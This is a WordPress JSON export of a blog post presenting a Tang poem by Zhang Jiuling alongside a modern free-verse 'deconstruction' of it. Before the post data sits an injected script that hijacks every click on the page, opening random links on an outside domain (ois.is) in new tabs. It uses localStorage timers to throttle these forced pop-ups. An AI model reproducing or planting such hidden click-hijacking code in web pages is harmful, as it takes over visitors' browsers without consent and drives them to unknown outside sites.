<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1246,"date":"2016-03-17T21:52:46","date_gmt":"2016-03-17T13:52:46","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1246"},"modified":"2016-03-17T21:52:46","modified_gmt":"2016-03-17T13:52:46","slug":"%e5%94%90%e8%a9%a9%e8%a7%a3%e6%a7%8b%ef%bc%8f%e6%9c%9b%e6%9c%88%e6%87%b7%e9%81%a0%e2%8a%99%e6%b4%9b%e5%a4%ab","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1246","title":{"rendered":"\u5510\u8a69\u89e3\u69cb\uff0f\u671b\u6708\u61f7\u9060\u2299\u6d1b\u592b"},"content":{"rendered":"<p style=\"margin: 36pt 36pt 18pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a;\">\u5510\u8a69\u89e3\u69cb\uff0f\u671b\u6708\u61f7\u9060\u2299\u6d1b\u592b<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0070c0;\">\u539f\u4f5c<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6d77\u4e0a\u751f\u660e\u6708\uff0c\u5929\u6daf\u5171\u6b64\u6642\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u60c5\u4eba\u6028\u9059\u591c\uff0c\u7adf\u5915\u8d77\u76f8\u601d\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6ec5\u71ed\u6190\u5149\u6eff\uff0c\u62ab\u8863\u89ba\u9732\u6ecb\u3002<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e0d\u582a\u76c8\u624b\u8d08\uff0c\u9084\u5be2\u5922\u4f73\u671f\u3002<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u2500\u2500\u5f35\u4e5d\u9f61<\/span><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0070c0;\">\u89e3\u69cb\u65b0\u4f5c<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6708\u4eae\u5f9e\u6d77\u4e0a\u98db\u4f86<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6084\u6084\u843d\u5728\u6211\u7684\u7a97\u524d<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5e36\u4f86\u4e00\u5ba4\u6c34\u6dcb\u6dcb\u7684\u591c\u8272<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u98db\u5165\u6211\u7684\u638c\u5fc3<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8a66\u8457\u628a\u5b83\u88c1\u6210\u5169\u584a\u624b\u5e15<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u584a\u8d08\u4f60<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u584a\u7559\u7d66\u81ea\u5df1\u62ed\u6dda<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4f60\u8aaa\u4f60\u9084\u8981\u6bd4\u6dda\u751c\u4e00\u9ede\u7684\u6771\u897f<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u597d\u5427\uff0c\u5922\u88e1\u7b49\u8457<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5657\u5730\u4e00\u8072<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5439\u6ec5\u4e86\u881f\u71ed<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span style=\"font-size: 11pt;\">2014\/09\/07 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831\u3011<\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\"><a href=\"http:\/\/udn.com\/NEWS\/READING\/X5\/8919774.shtml\">http:\/\/udn.com\/NEWS\/READING\/X5\/8919774.shtml<\/a><\/span><\/p>\n<p style=\"margin: 0cm 15pt 0.0001pt 36pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5510\u8a69\u89e3\u69cb\uff0f\u671b\u6708\u61f7\u9060\u2299\u6d1b\u592b \u539f\u4f5c \u6d77\u4e0a\u751f\u660e\u6708\uff0c\u5929\u6daf\u5171\u6b64\u6642\uff0c \u60c5\u4eba\u6028\u9059\u591c\uff0c\u7adf\u5915\u8d77\u76f8\u601d\uff0c \u6ec5\u71ed\u6190\u5149\u6eff\uff0c\u62ab\u8863\u89ba\u9732\u6ecb\u3002  [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,42,55],"tags":[83,97],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1246"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1246"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1246\/revisions"}],"predecessor-version":[{"id":1247,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1246\/revisions\/1247"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1246"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1246"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1246"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}